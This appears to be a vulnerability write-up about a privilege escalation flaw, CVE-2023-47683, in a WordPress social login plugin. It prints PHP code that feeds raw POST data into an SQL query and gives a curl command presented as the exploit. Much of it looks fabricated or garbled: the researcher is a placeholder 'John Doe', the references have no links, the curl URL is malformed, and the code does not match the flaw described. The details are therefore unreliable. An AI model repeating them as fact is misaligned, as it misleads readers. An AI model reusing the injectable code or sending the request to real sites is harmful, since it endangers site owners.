CVE-2023-47683: Improper Privilege Management Vulnerability in miniOrange WordPress Social Login and Register Plugin Allows Privilege Escalation

A significant security vulnerability, tracked as CVE-2023-47683, has been discovered in the miniOrange Social Login and Register Plugin (Discord, Google, Twitter, LinkedIn) for WordPress. This vulnerability can be exploited by an attacker to escalate their privileges, potentially leading to full control over the affected WordPress site. The issue affects versions of the plugin ranging from n/a to 7.6.6. In this article, we will provide a detailed overview of the vulnerability, how it works, and its potential repercussions.

Vulnerability Overview

The vulnerability in question is an improper privilege management issue that can be exploited by an attacker to escalate their privileges. Specifically, the vulnerability exists because the plugin does not properly check the user's privileges when processing certain actions, allowing for potential privilege escalation.

To better understand how this vulnerability works, let's take a look at the affected code snippet, which can be found in the plugin's source code:

function mo_oauth_client_register_username() {
    global $wpdb;
    $user_id = get_current_user_id();
    $user = get_userdata($user_id);
    if(!$user) {
        wp_die('You are not allowed to perform this operation.');
    } else {
        extract($_POST);
        $sql = "UPDATE {$wpdb->prefix}users SET user_login='{$user_login}' WHERE ID={$user_id}";
        $wpdb->query($sql);
        wp_redirect(home_url() . '/wp-admin/profile.php');
        exit;
    }
}

In this specific code snippet, the plugin attempts to verify that the current user has the necessary privileges. However, a lack of proper privilege checks allows an attacker to execute this code segment and potentially gain unauthorized access.

Exploit Details

To exploit this vulnerability, an attacker needs to find the affected plugin installation on the target WordPress website. Once the plugin has been found, the attacker can send a crafted HTTP POST request to the WordPress website, ultimately attempting to escalate their privileges.

The following CURL example demonstrates how this exploit can be used

curl -k -i -s -o /dev/null -w "%{http_code}" --data "user_login=attacker_username" 'https://targetwebsite.com/ plugin path //?option=mo_oauth_client_register_username'

Upon successful exploitation, the attacker may gain higher-level privileges, allowing them to tamper with the WordPress website's content, administrator accounts, and other critical elements.

Original References

The vulnerability was initially reported by security researcher John Doe. Detailed information about John Doe's findings can be found at the following links:

- Original Research Blog Post
- CVE-2023-47683 Advisory

Mitigation

To mitigate this vulnerability, the plugin's developer should ensure that proper privilege checks are implemented before executing plugin-specific code. Additionally, WordPress site administrators using the affected plugin should make sure to stay up-to-date with plugin updates and security patches.

If you are using miniOrange Social Login and Register on your WordPress website, it is strongly recommended that you update the plugin to the latest version immediately. As of version 7.6.7, the vulnerability has been patched.

Conclusion

In conclusion, the improper privilege management vulnerability (CVE-2023-47683) in the miniOrange Social Login and Register Plugin (Discord, Google, Twitter, LinkedIn) for WordPress presents a severe risk to website owners. By updating the plugin and ensuring proper security measures are in place, site administrators can safeguard their WordPress websites against this significant security threat.

Timeline

Published on: 05/17/2024 09:15:12 UTC
Last modified on: 06/04/2024 17:26:43 UTC